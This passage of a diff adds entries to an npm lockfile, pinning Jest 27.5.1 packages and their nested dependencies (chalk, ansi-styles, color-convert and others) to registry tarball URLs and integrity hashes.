+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-pnp-resolver": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz",
+      "integrity": "sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==",
+      "requires": {}
+    },
+    "jest-regex-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
+      "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg=="
+    },
+    "jest-resolve": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz",
+      "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-pnp-resolver": "^1.2.2",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "resolve": "^1.20.0",
+        "resolve.exports": "^1.1.0",
+        "slash": "^3.0.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-resolve-dependencies": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz",
+      "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-snapshot": "^27.5.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-runner": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz",
+      "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==",
+      "requires": {
+        "@jest/console": "^27.5.1",
+        "@jest/environment": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "emittery": "^0.8.1",
+        "graceful-fs": "^4.2.9",
+        "jest-docblock": "^27.5.1",
+        "jest-environment-jsdom": "^27.5.1",
+        "jest-environment-node": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-leak-detector": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "source-map-support": "^0.5.6",
+        "throat": "^6.0.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-runtime": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz",
+      "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==",
+      "requires": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/globals": "^27.5.1",
+        "@jest/source-map": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "cjs-module-lexer": "^1.0.0",
+        "collect-v8-coverage": "^1.0.0",
+        "execa": "^5.0.0",
+        "glob": "^7.1.3",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-mock": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "slash": "^3.0.0",
+        "strip-bom": "^4.0.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-serializer": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz",
+      "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==",
+      "requires": {
+        "@types/node": "*",
+        "graceful-fs": "^4.2.9"
+      }
+    },
+    "jest-snapshot": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz",
+      "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==",
+      "requires": {
+        "@babel/core": "^7.7.2",
+        "@babel/generator": "^7.7.2",
+        "@babel/plugin-syntax-typescript": "^7.7.2",
+        "@babel/traverse": "^7.7.2",
+        "@babel/types": "^7.0.0",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/babel__traverse": "^7.0.4",
+        "@types/prettier": "^2.1.5",
+        "babel-preset-current-node-syntax": "^1.0.0",
+        "chalk": "^4.0.0",
+        "expect": "^27.5.1",
+        "graceful-fs": "^4.2.9",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "natural-compare": "^1.4.0",
+        "pretty-format": "^27.5.1",
+        "semver": "^7.3.2"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "diff-sequences": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+          "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-diff": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+          "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+          "requires": {
+            "chalk": "^4.0.0",
+            "diff-sequences": "^27.5.1",
+            "jest-get-type": "^27.5.1",
+            "pretty-format": "^27.5.1"
+          }
+        },
+        "jest-get-type": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+          "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw=="
+        },
+        "jest-matcher-utils": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+          "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+          "requires": {
+            "chalk": "^4.0.0",
+            "jest-diff": "^27.5.1",
+            "jest-get-type": "^27.5.1",
+            "pretty-format": "^27.5.1"
+          }
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
+      "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "graceful-fs": "^4.2.9",
+        "picomatch": "^2.2.3"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
